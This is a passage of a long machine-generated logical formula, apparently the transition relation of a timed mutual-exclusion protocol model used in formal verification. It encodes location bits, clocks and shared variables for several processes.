== 0) && (( !_x_p5_l3) && (( !_x_p5_l2) && (( !_x_p5_l0) && ( !_x_p5_l1))))) && ((v2 == _x_v2) && (p5_c == _x_p5_c)))) || ( !((p5_l3 && (( !p5_l2) && (( !p5_l0) && ( !p5_l1)))) && ((delta == 0.0) && p5_evt))))) && ((((((((((((((((((((_x_p4_l3 && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) || ((( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l0 && _x_p4_l1))) || ((( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l1 && ( !_x_p4_l0)))) || ((( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l0 && ( !_x_p4_l1)))) || ((( !_x_p4_l3) && (_x_p4_l2 && (( !_x_p4_l0) && ( !_x_p4_l1)))) || ((( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l0 && _x_p4_l1))) || ((( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l1 && ( !_x_p4_l0)))) || ((( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) || (( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l0 && ( !_x_p4_l1)))))))))))) && ((_x_p4_c <= _x_proposed4) || ( !(((( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l0 && ( !_x_p4_l1)))) || (( !_x_p4_l3) && (_x_p4_l2 && (( !_x_p4_l0) && ( !_x_p4_l1))))) || ((( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l0 && _x_p4_l1))) || (_x_p4_l3 && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1))))))))) && (((((((p4_l0 == _x_p4_l0) && (p4_l1 == _x_p4_l1)) && (p4_l2 == _x_p4_l2)) && (p4_l3 == _x_p4_l3)) && ((delta + (p4_c + (-1.0 * _x_p4_c))) == 0.0)) && (proposed4 == _x_proposed4)) || ( !(( !(delta <= 0.0)) || ( !p4_evt))))) && (((((v1 == 0) && (( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l0 && ( !_x_p4_l1))))) && ((v2 == _x_v2) && (_x_p4_c == 0.0))) && ((v1 == _x_v1) && (proposed4 == _x_proposed4))) || ( !((( !p4_l3) && (( !p4_l2) && (( !p4_l0) && ( !p4_l1)))) && ((delta == 0.0) && p4_evt))))) && (((proposed4 == _x_proposed4) && (((v2 == _x_v2) && (_x_p4_c == 0.0)) && ((( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l1 && ( !_x_p4_l0)))) && (_x_v1 == 5)))) || ( !((( !p4_l3) && (( !p4_l2) && (p4_l0 && ( !p4_l1)))) && ((delta == 0.0) && p4_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) || (( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l0 && _x_p4_l1)))) && (p4_c == _x_p4_c))) || ( !((( !p4_l3) && (( !p4_l2) && (p4_l1 && ( !p4_l0)))) && ((delta == 0.0) && p4_evt))))) && (((proposed4 == _x_proposed4) && ( !(v1 == 5))) || ( !(((delta == 0.0) && p4_evt) && ((( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) && (( !p4_l3) && (( !p4_l2) && (p4_l1 && ( !p4_l0))))))))) && ((((v1 == 5) && ( !(p4_c <= max_prop))) && ( !(proposed4 <= _x_proposed4))) || ( !(((delta == 0.0) && p4_evt) && ((( !p4_l3) && (( !p4_l2) && (p4_l1 && ( !p4_l0)))) && (( !_x_p4_l3) && (( !_x_p4_l2) && (_x_p4_l0 && _x_p4_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed4 == _x_proposed4) && ((( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) || (( !_x_p4_l3) && (_x_p4_l2 && (( !_x_p4_l0) && ( !_x_p4_l1))))))) || ( !((( !p4_l3) && (( !p4_l2) && (p4_l0 && p4_l1))) && ((delta == 0.0) && p4_evt))))) && ((v2 && (p4_c == _x_p4_c)) || ( !(((delta == 0.0) && p4_evt) && ((( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) && (( !p4_l3) && (( !p4_l2) && (p4_l0 && p4_l1)))))))) && ((( !v2) && (_x_p4_c == 0.0)) || ( !(((delta == 0.0) && p4_evt) && ((( !p4_l3) && (( !p4_l2) && (p4_l0 && p4_l1))) && (( !_x_p4_l3) && (_x_p4_l2 && (( !_x_p4_l0) && ( !_x_p4_l1))))))))) && ((((v1 == _x_v1) && (proposed4 == _x_proposed4)) && ((_x_p4_c == 0.0) && (_x_v2 && (( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l0 && ( !_x_p4_l1))))))) || ( !((( !p4_l3) && (p4_l2 && (( !p4_l0) && ( !p4_l1)))) && ((delta == 0.0) && p4_evt))))) && (((proposed4 == _x_proposed4) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p4_c == _x_p4_c) && ((( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) || (( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l1 && ( !_x_p4_l0)))))))) || ( !((( !p4_l3) && (p4_l2 && (p4_l0 && ( !p4_l1)))) && ((delta == 0.0) && p4_evt))))) && (( !(v1 == 5)) || ( !(((delta == 0.0) && p4_evt) && ((( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1)))) && (( !p4_l3) && (p4_l2 && (p4_l0 && ( !p4_l1))))))))) && ((v1 == 5) || ( !(((delta == 0.0) && p4_evt) && ((( !p4_l3) && (p4_l2 && (p4_l0 && ( !p4_l1)))) && (( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l1 && ( !_x_p4_l0))))))))) && (((proposed4 == _x_proposed4) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p4_l3) && (_x_p4_l2 && (_x_p4_l0 && _x_p4_l1))) && (_x_p4_c == 0.0)))) || ( !((( !p4_l3) && (p4_l2 && (p4_l1 && ( !p4_l0)))) && ((delta == 0.0) && p4_evt))))) && (((proposed4 == _x_proposed4) && ((( !_x_v2) && (_x_p4_l3 && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1))))) && ((v1 == _x_v1) && (_x_p4_c == 0.0)))) || ( !((( !p4_l3) && (p4_l2 && (p4_l0 && p4_l1))) && ((delta == 0.0) && p4_evt))))) && (((proposed4 == _x_proposed4) && (((_x_v1 == 0) && (( !_x_p4_l3) && (( !_x_p4_l2) && (( !_x_p4_l0) && ( !_x_p4_l1))))) && ((v2 == _x_v2) && (p4_c == _x_p4_c)))) || ( !((p4_l3 && (( !p4_l2) && (( !p4_l0) && ( !p4_l1)))) && ((delta == 0.0) && p4_evt))))) && ((((((((((((((((((((_x_p3_l3 && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1)))) || ((( !_x_p3_l3) && (_x_p3_l2 && (_x_p3_l0 && _x_p3_l1))) || ((( !_x_p3_l3) && (_x_p3_l2 && (_x_p3_l1 && ( !_x_p3_l0)))) || ((( !_x_p3_l3) && (_x_p3_l2 && (_x_p3_l0 && ( !_x_p3_l1)))) || ((( !_x_p3_l3) && (_x_p3_l2 && (( !_x_p3_l0) && ( !_x_p3_l1)))) || ((( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l0 && _x_p3_l1))) || ((( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l1 && ( !_x_p3_l0)))) || ((( !_x_p3_l3) && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1)))) || (( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l0 && ( !_x_p3_l1)))))))))))) && ((_x_p3_c <= _x_proposed3) || ( !(((( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l0 && ( !_x_p3_l1)))) || (( !_x_p3_l3) && (_x_p3_l2 && (( !_x_p3_l0) && ( !_x_p3_l1))))) || ((( !_x_p3_l3) && (_x_p3_l2 && (_x_p3_l0 && _x_p3_l1))) || (_x_p3_l3 && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1))))))))) && (((((((p3_l0 == _x_p3_l0) && (p3_l1 == _x_p3_l1)) && (p3_l2 == _x_p3_l2)) && (p3_l3 == _x_p3_l3)) && ((delta + (p3_c + (-1.0 * _x_p3_c))) == 0.0)) && (proposed3 == _x_proposed3)) || ( !(( !(delta <= 0.0)) || ( !p3_evt))))) && (((((v1 == 0) && (( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l0 && ( !_x_p3_l1))))) && ((v2 == _x_v2) && (_x_p3_c == 0.0))) && ((v1 == _x_v1) && (proposed3 == _x_proposed3))) || ( !((( !p3_l3) && (( !p3_l2) && (( !p3_l0) && ( !p3_l1)))) && ((delta == 0.0) && p3_evt))))) && (((proposed3 == _x_proposed3) && (((v2 == _x_v2) && (_x_p3_c == 0.0)) && ((( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l1 && ( !_x_p3_l0)))) && (_x_v1 == 4)))) || ( !((( !p3_l3) && (( !p3_l2) && (p3_l0 && ( !p3_l1)))) && ((delta == 0.0) && p3_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p3_l3) && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1)))) || (( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l0 && _x_p3_l1)))) && (p3_c == _x_p3_c))) || ( !((( !p3_l3) && (( !p3_l2) && (p3_l1 && ( !p3_l0)))) && ((delta == 0.0) && p3_evt))))) && (((proposed3 == _x_proposed3) && ( !(v1 == 4))) || ( !(((delta == 0.0) && p3_evt) && ((( !_x_p3_l3) && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1)))) && (( !p3_l3) && (( !p3_l2) && (p3_l1 && ( !p3_l0))))))))) && ((((v1 == 4) && ( !(p3_c <= max_prop))) && ( !(proposed3 <= _x_proposed3))) || ( !(((delta == 0.0) && p3_evt) && ((( !p3_l3) && (( !p3_l2) && (p3_l1 && ( !p3_l0)))) && (( !_x_p3_l3) && (( !_x_p3_l2) && (_x_p3_l0 && _x_p3_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed3 == _x_proposed3) && ((( !_x_p3_l3) && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1)))) || (( !_x_p3_l3) && (_x_p3_l2 && (( !_x_p3_l0) && ( !_x_p3_l1))))))) || ( !((( !p3_l3) && (( !p3_l2) && (p3_l0 && p3_l1))) && ((delta == 0.0) && p3_evt))))) && ((v2 && (p3_c == _x_p3_c)) || ( !(((delta == 0.0) && p3_evt) && ((( !_x_p3_l3) && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1)))) && (( !p3_l3) && (( !p3_l2) && (p3_l0 && p3_l1)))))))) && ((( !v2) && (_x_p3_c == 0.0)) || ( !(((delta == 0.0) && p3_evt) && ((( !p3_l3) && (( !p3_l2) && (p3_l0 && p3_l1))) && (( !_x_p3_l3) && (_x_p3_l2 && (( !_x_p3_l0) && ( !_x_p3_l1))))))))) && ((((v1 == _x_v1) && (proposed3 == _x_proposed3)) && ((_x_p3_c == 0.0) && (_x_v2 && (( !_x_p3_l3) && (_x_p3_l2 && (_x_p3_l0 && ( !_x_p3_l1))))))) || ( !((( !p3_l3) && (p3_l2 && (( !p3_l0) && ( !p3_l1)))) && ((delta == 0.0) && p3_evt))))) && (((proposed3 == _x_proposed3) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p3_c == _x_p3_c) && ((( !_x_p3_l3) && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1)))) || (( !_x_p3_l3) && (_x_p3_l2 && (_x_p3_l1 && ( !_x_p3_l0)))))))) || ( !((( !p3_l3) && (p3_l2 && (p3_l0 && ( !p3_l1)))) && ((delta == 0.0) && p3_evt))))) && (( !(v1 == 4)) || ( !(((delta == 0.0) && p3_evt) && ((( !_x_p3_l3) && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1)))) && (( !p3_l3) && (p3_l2 && (p3_l0 && ( !p3_l1))))))))) && ((v1 == 4) || ( !(((delta == 0.0) && p3_evt) && ((( !p3_l3) && (p3_l2 && (p3_l0 && ( !p3_l1)))) && (( !_x_p3_l3) && (_x_p3_l2 && (_x_p3_l1 && ( !_x_p3_l0))))))))) && (((proposed3 == _x_proposed3) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p3_l3) && (_x_p3_l2 && (_x_p3_l0 && _x_p3_l1))) && (_x_p3_c == 0.0)))) || ( !((( !p3_l3) && (p3_l2 && (p3_l1 && ( !p3_l0)))) && ((delta == 0.0) && p3_evt))))) && (((proposed3 == _x_proposed3) && ((( !_x_v2) && (_x_p3_l3 && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1))))) && ((v1 == _x_v1) && (_x_p3_c == 0.0)))) || ( !((( !p3_l3) && (p3_l2 && (p3_l0 && p3_l1))) && ((delta == 0.0) && p3_evt))))) && (((proposed3 == _x_proposed3) && (((_x_v1 == 0) && (( !_x_p3_l3) && (( !_x_p3_l2) && (( !_x_p3_l0) && ( !_x_p3_l1))))) && ((v2 == _x_v2) && (p3_c == _x_p3_c)))) || ( !((p3_l3 && (( !p3_l2) && (( !p3_l0) && ( !p3_l1)))) && ((delta == 0.0) && p3_evt))))) && ((((((((((((((((((((_x_p2_l3 && (( !_x_p2_l2) && (( !_x_p2_l0) && ( !_x_p2_l1)))) || ((( !_x_p2_l3) && (_x_p2_l2 && (_x_p2_l0 && _x_p2_l1))) || ((( !_x_p2_l3) && (_x_p2_l2 && (_x_p2_l1 && ( !_x_p2_l0)))) || ((( !_x_p2_l3) && (_x_p2_l2 && (_x_p2_l0 && ( !_x_p2_l1)))) || ((( !_x_p2_l3) && (_x_p2_l2 && (( !_x_p2_l0) && ( !_x_p2_l1)))) || ((( !_x_p2_l3) && (( !_x_p2_l2) && (_x_p2_l0 && _x_p2_l1))) || ((( !_x_p2_l3) && (( !_x_p2_l2) && (_x_p2_l1 && ( !_x_p2_l0)))) || ((( !_x_p2_l3) && (( !_x_p2_l2) && (( !_x_p2_l0) && ( !_x_p2_l1)))) || (( !_x_p2_l3) && (( !_x_p2_l2) && (_x_p2_l0 && ( !_x_p2_l1)))))))))))) && ((_x_p2_c <= _x_proposed2) || ( !(((( !_x_p2_l3) && (( !_x_p2_l2) && (_x_p2_l0 && ( !_x_p2_l1)))) || (( !_x_p2_l3) && (_x_p2_l2 && (( !_x_p2_l0) && ( !_x_p2_l1))))) || ((( !_x_p2_l3) && (_x_p2_l2 && (_x_p2_l0 && _x_p2_l1))) || (_x_p2_l3 && (( !_x_p2_l2) && (( !_x_p2_l0) && ( !_x_p2_l1))))))))) && (((((((p2_l0 == _x_p2_l0) && (p2_l1 == _x_p2_l1)) && (p2_l2 == _x_p2_l2)) && (p2_l3 == _x_p2_l3)) && ((delta + (p2_c + (-1.0 * _x_p2_c))) == 0.0)) && (proposed2 == _x_proposed2)) || ( !(( !(delta <= 0.0)) || ( !p2_evt))))) && (((((v1 == 0) && (( !_x_p2_l3) && (( !_x_p2_l2) && (_x_p2_l0 && ( !_x_p2_l1))))) && ((v2 == _x_v2) && (_x_p2_c == 0.0))) && ((v1 == _x_v1) && (proposed2 == _x_proposed2))) || ( !((( !p2_l3) && (( !p2_l2) && (( !p2_l0) && ( !p2_l1)))) && ((delta == 0.0) && p2_evt))))) && (((proposed2 == _x_proposed2) && (((v2 == _x_v2) && (_x_p2_c == 0.0)) && ((( !_x_p2_l3) && (( !_x_p2_l2) && (_x_p2_l1 && ( !_x_p2_l0)))) && (_x_v1 == 3)))) || ( !((( !p2_l3) && (( !p2_l2) && (p2_l0 && ( !p2_l1)))) && ((delta == 0.0) && p2_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p2_l3) && (( !_x_p2_l2) && (( !_x_p2_l0) && ( !_x_p2_l1)))) || (( !_x_p2_l3) && (( !_x_p2_l2) && (_x_p2_l0 && _x_p2_l1)))) && (p2_c == _x_p2_c))) || ( !((( !p2_l3) && (( !p2_l2) && (p2_l1 && ( !p2_l0)))) && ((delta == 0.0) && p2_evt))))) && (((proposed2 == _x_proposed2) && ( !(v1 == 3))) || ( !(((delta == 0.0) && p2_evt) && ((( !_x_p2_l3) && (( !_x_p2_l2) && (( !_x_p2_l0) && ( !_x_p2_l1)))) && (( !p2_l3) && (( !p2_l2) && (p2_l1 && ( !p2_l0))))))))) && ((((v1 == 3) && ( !(p2_c <= max_prop))) && ( !(proposed2 <= _x_proposed2))) || ( !(((delta == 0.0) && p2_evt) && ((( !p2_l3) && (( !p2_l2) && (p2_l1 && ( !p2_l0)))) && (( !_x_p2_l3) && (( !_x_p2_l2) && (_x_p2_l0 && _x_p2_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed2 == _x_proposed2) && ((( !_x_p2_l3) && (( !_x_p2_l2) && (( !_x_p2_l0) && ( !_x_p2_l1)))) || (( !_x_p2_l3) && (_x_p2_l2 && (( !_x_p2_l0) && ( !_x_p2_l1))))))) || ( !((( !p2_l3) && (( !p2_l2) && (p2_l0 && p2_l1))) && ((delta == 0.0) && p2_evt))))) && ((v2 && (p2_c == _x_p2_c)) || ( !(((delta == 0.0) && p2_evt) && ((( !_x_p2_l3) && (( !_x_p2_l2) && (( !_x_p2_l0) && ( !_x_p2_l1)))) && (( !p2_l3) && (( !p2_l2) && (p2_l0 && p2_l1)))))))) && ((( !v2) && (_x_p2_c == 0.0)) || ( !(((delta == 0.0) && p2_evt) && ((( !p2_l3) && (( !p2_l2) && (p2_l0 && p2_l1))) && (( !_x_p2_l3) && (_x_p2_l2 && (( !_x_p2_l0) && ( !_x_p2_l1))))))))) && ((((v1 == _x_v1) && (proposed2 == _x_proposed2)) && ((_x_p2_c == 0.0) && (_x_v2 && (( !_x_p2_l3) && (_x_p2_l2 && (_x_p2_l0 && ( !_x_p2_l1))))))) || ( !((( !p2_l3) && (p2_l2 && (( !p2_l0) && ( !p2_l1)))) && ((delta == 0.0) && p2_evt))))) && (((proposed2 == _x_proposed2) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p2_c == _x_p2_c) && ((( !_x_p2_l3) && (( !_x_p2_l2) && (( !_x_p2_l0) && ( !_x_p2_l1)))) || (( !_x_p2_l3) && (_x_p2_l2 && (_x_p2_l1 && ( !_x_p2_l0)))))))) || ( !((( !p2_l3) && (p2_l2 && (p2_l0 && ( !p2_l1)))) && ((delta == 0.0) && p2_evt))))) && (( !(v1 == 3)) || ( !(((delta == 0.0) && p2_evt) && ((( !_x_p2_l3) && (( !_x_p2_l2) && (( !_x_p2_l0) && ( !_x_p2_l1)))) && (( !p2_l3) && (p2_l2 && (p2_l0 && ( !p2_l1))))))))) && ((v1 == 3) || ( !(((delta == 0.0) && p2_evt) && ((( !p2_l3) && (p2_l2 && (p2_l0 && ( !p2_l1)))) && (( !_x_p2_l3) && (_x_p2_l2 && (_x_p2_l1 && ( !_x_p2_l0))))))))) && (((proposed2 == _x_proposed2) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p2_l3) && (_x_p2_l2 && (_x_p2_l0 && _x_p2_l1))) && (_x_p2_c == 0.0)))) || ( !((( !p2_l3) && (p2_l2 && (p2_l1 && ( !p2_l0)))) && ((delta == 0.0) && p2_evt))))) && (((proposed2 == _x_proposed2) && ((( !_x_v2) && (_x_p2_l3 && (( !_x_p2_l2) && (( !_x_p2_l0) && ( !_x_p2_l1))))) && ((v1 == _x_v1) && (_x_p2_c == 0.0)))) || ( !((( !p2_l3) && (p2_l2 && (p2_l0 && p2_l1))) && ((delta == 0.0) && p2_evt))))) && (((proposed2 == _x_proposed2) && (((_x_v1 == 0) && (( !_x_p2_l3) && (( !_x_p2_l2) && (( !_x_p2_l0) && ( !_x_p2_l1))))) && ((v2 == _x_v2) && (p2_c == _x_p2_c)))) || ( !((p2_l3 && (( !p2_l2) && (( !p2_l0) && ( !p2_l1)))) && ((delta == 0.0) && p2_evt))))) && ((((((((((((((((((((_x_p1_l3 && (( !_x_p1_l2) && (( !_x_p1_l0) && ( !_x_p1_l1)))) || ((( !_x_p1_l3) && (_x_p1_l2 && (_x_p1_l0 && _x_p1_l1))) || ((( !_x_p1_l3) && (_x_p1_l2 && (_x_p1_l1 && ( !_x_p1_l0)))) || ((( !_x_p1_l3) && (_x_p1_l2 && (_x_p1_l0 && ( !_x_p1_l1)))) || ((( !_x_p1_l3) && (_x_p1_l2 && (( !_x_p1_l0) && ( !_x_p1_l1)))) || ((( !_x_p1_l3) && (( !_x_p1_l2) && (_x_p1_l0 && _x_p1_l1))) || ((( !_x_p1_l3) && (( !_x_p1_l2) && (_x_p1_l1 && ( !_x_p1_l0)))) || ((( !_x_p1_l3) && (( !_x_p1_l2) && (( !_x_p1_l0) && ( !_x_p1_l1)))) || (( !_x_p1_l3) && (( !_x_p1_l2) && (_x_p1_l0 && ( !_x_p1_l1)))))))))))) && ((_x_p1_c <= _x_proposed1) || ( !(((( !_x_p1_l3) && (( !_x_p1_l2) && (_x_p1_l0 && ( !_x_p1_l1)))) || (( !_x_p1_l3) && (_x_p1_l2 && (( !_x_p1_l0) && ( !_x_p1_l1))))) || ((( !_x_p1_l3) && (_x_p1_l2 && (_x_p1_l0 && _x_p1_l1))) || (_x_p1_l3 && (( !_x_p1_l2) && (( !_x_p1_l0) && ( !_x_p1_l1))))))))) && (((((((p1_l0 == _x_p1_l0) && (p1_l1 == _x_p1_l1)) && (p1_l2 == _x_p1_l2)) && (p1_l3 == _x_p1_l3)) && ((delta + (p1_c + (-1.0 * _x_p1_c))) == 0.0)) && (proposed1 == _x_proposed1)) || ( !(( !(delta <= 0.0)) || ( !p1_evt))))) && (((((v1 == 0) && (( !_x_p1_l3) && (( !_x_p1_l2) && (_x_p1_l0 && ( !_x_p1_l1))))) && ((v2 == _x_v2) && (_x_p1_c == 0.0))) && ((v1 == _x_v1) && (proposed1 == _x_proposed1))) || ( !((( !p1_l3) && (( !p1_l2) && (( !p1_l0) && ( !p1_l1)))) && ((delta == 0.0) && p1_evt))))) && (((proposed1 == _x_proposed1) && (((v2 == _x_v2) && (_x_p1_c == 0.0)) && ((( !_x_p1_l3) && (( !_x_p1_l2) && (_x_p1_l1 && ( !_x_p1_l0)))) && (_x_v1 == 2)))) || ( !((( !p1_l3) && (( !p1_l2) && (p1_l0 && ( !p1_l1)))) && ((delta == 0.0) && p1_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p1_l3) && (( !_x_p1_l2) && (( !_x_p1_l0) && ( !_x_p1_l1)))) || (( !_x_p1_l3) && (( !_x_p1_l2) && (_x_p1_l0 && _x_p1_l1)))) && (p1_c == _x_p1_c))) || ( !((( !p1_l3) && (( !p1_l2) && (p1_l1 && ( !p1_l0)))) && ((delta == 0.0) && p1_evt))))) && (((proposed1 == _x_proposed1) && ( !(v1 == 2))) || ( !(((delta == 0.0) && p1_evt) && ((( !_x_p1_l3) && (( !_x_p1_l2) && (( !_x_p1_l0) && ( !_x_p1_l1)))) && (( !p1_l3) && (( !p1_l2) && (p1_l1 && ( !p1_l0))))))))) && ((((v1 == 2) && ( !(p1_c <= max_prop))) && ( !(proposed1 <= _x_proposed1))) || ( !(((delta == 0.0) && p1_evt) && ((( !p1_l3) && (( !p1_l2) && (p1_l1 && ( !p1_l0)))) && (( !_x_p1_l3) && (( !_x_p1_l2) && (_x_p1_l0 && _x_p1_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed1 == _x_proposed1) && ((( !_x_p1_l3) && (( !_x_p1_l2) && (( !_x_p1_l0) && ( !_x_p1_l1)))) || (( !_x_p1_l3) && (_x_p1_l2 && (( !_x_p1_l0) && ( !_x_p1_l1))))))) || ( !((( !p1_l3) && (( !p1_l2) && (p1_l0 && p1_l1))) && ((delta == 0.0) && p1_evt))))) && ((v2 && (p1_c == _x_p1_c)) || ( !(((delta == 0.0) && p1_evt) && ((( !_x_p1_l3) && (( !_x_p1_l2) && (( !_x_p1_l0) && ( !_x_p1_l1)))) && (( !p1_l3) && (( !p1_l2) && (p1_l0 && p1_l1)))))))) && ((( !v2) && (_x_p1_c == 0.0)) || ( !(((delta == 0.0) && p1_evt) && ((( !p1_l3) && (( !p1_l2) && (p1_l0 && p1_l1))) && (( !_x_p1_l3) && (_x_p1_l2 && (( !_x_p1_l0) && ( !_x_p1_l1))))))))) && ((((v1 == _x_v1) && (proposed1 == _x_proposed1)) && ((_x_p1_c == 0.0) && (_x_v2 && (( !_x_p1_l3) && (_x_p1_l2 && (_x_p1_l0 && ( !_x_p1_l1))))))) || ( !((( !p1_l3) && (p1_l2 && (( !p1_l0) && ( !p1_l1)))) && ((delta == 0.0) && p1_evt))))) && (((proposed1 == _x_proposed1) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p1_c == _x_p1_c) && ((( !_x_p1_l3) && (( !_x_p1_l2) && (( !_x_p1_l0) && ( !_x_p1_l1)))) || (( !_x_p1_l3) && (_x_p1_l2 && (_x_p1_l1 && ( !_x_p1_l0)))))))) || ( !((( !p1_l3) && (p1_l2 && (p1_l0 && ( !p1_l1)))) && ((delta == 0.0) && p1_evt))))) && (( !(v1 == 2)) || ( !(((delta == 0.0) && p1_evt) && ((( !_x_p1_l3) && (( !_x_p1_l2) && (( !_x_p1_l0) && ( !_x_p1_l1)))) && (( !p1_l3) && (p1_l2 && (p1_l0 && ( !p1_l1))))))))) && ((v1 == 2) || ( !(((delta == 0.0) && p1_evt) && ((( !p1_l3) && (p1_l2 && (p1_l0 && ( !p1_l1)))) && (( !_x_p1_l3) && (_x_p1_l2 && (_x_p1_l1 && ( !_x_p1_l0))))))))) && (((proposed1 == _x_proposed1) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p1_l3) && (_x_p1_l2 && (_x_p1_l0 && _x_p1_l1))) && (_x_p1_c == 0.0)))) || ( !((( !p1_l3) && (p1_l2 && (p1_l1 && ( !p1_l0)))) && ((delta == 0.0) && p1_evt))))) && (((proposed1 == _x_proposed1) && ((( !_x_v2) && (_x_p1_l3 && (( !_x_p1_l2) && (( !_x_p1_l0) && ( !_x_p1_l1))))) && ((v1 == _x_v1) && (_x_p1_c == 0.0)))) || ( !((( !p1_l3) && (p1_l2 && (p1_l0 && p1_l1))) && ((delta == 0.0) && p1_evt))))) && (((proposed1 == _x_proposed1) && (((_x_v1 == 0) && (( !_x_p1_l3) && (( !_x_p1_l2) && (( !_x_p1_l0) && ( !_x_p1_l1))))) && ((v2 == _x_v2) && (p1_c == _x_p1_c)))) || ( !((p1_l3 && (( !p1_l2) && (( !p1_l0) && ( !p1_l1)))) && ((delta == 0.0) && p1_evt))))) && ((((((((((((((((((((_x_p0_l3 && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) || ((( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l0 && _x_p0_l1))) || ((( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l1 && ( !_x_p0_l0)))) || ((( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l0 && ( !_x_p0_l1)))) || ((( !_x_p0_l3) && (_x_p0_l2 && (( !_x_p0_l0) && ( !_x_p0_l1)))) || ((( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l0 && _x_p0_l1))) || ((( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l1 && ( !_x_p0_l0)))) || ((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1)))) || (( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l0 && ( !_x_p0_l1)))))))))))) && ((_x_p0_c <= _x_proposed0) || ( !(((( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l0 && ( !_x_p0_l1)))) || (( !_x_p0_l3) && (_x_p0_l2 && (( !_x_p0_l0) && ( !_x_p0_l1))))) || ((( !_x_p0_l3) && (_x_p0_l2 && (_x_p0_l0 && _x_p0_l1))) || (_x_p0_l3 && (( !_x_p0_l2) && (( !_x_p0_l0) && ( !_x_p0_l1))))))))) && (((((((p0_l0 == _x_p0_l0) && (p0_l1 == _x_p0_l1)) && (p0_l2 == _x_p0_l2)) && (p0_l3 == _x_p0_l3)) && ((delta + (p0_c + (-1.0 * _x_p0_c))) == 0.0)) && (proposed0 == _x_proposed0)) || ( !(( !p0_evt) || ( !(delta <= 0.0)))))) && (((((( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l0 && ( !_x_p0_l1)))) && (v1 == 0)) && ((_x_p0_c == 0.0) && (v2 == _x_v2))) && ((proposed0 == _x_proposed0) && (v1 == _x_v1))) || ( !((( !p0_l3) && (( !p0_l2) && (( !p0_l0) && ( !p0_l1)))) && (p0_evt && (delta == 0.0)))))) && (((proposed0 == _x_proposed0) && (((_x_p0_c == 0.0) && (v2 == _x_v2)) && ((( !_x_p0_l3) && (( !_x_p0_l2) && (_x_p0_l1 && ( !_x_p0_l0)))) && (_x_v1 == 1)))) || ( !((( !p0_l3) && (( !p0_l2) && (p0_l0 && ( !p0_l1)))) && (p0_evt && (delta == 0.0)))))) && (((((( !_x_p0_l3) && (( !_x_p0_l2) && (( !_x_p0_l0) && ( 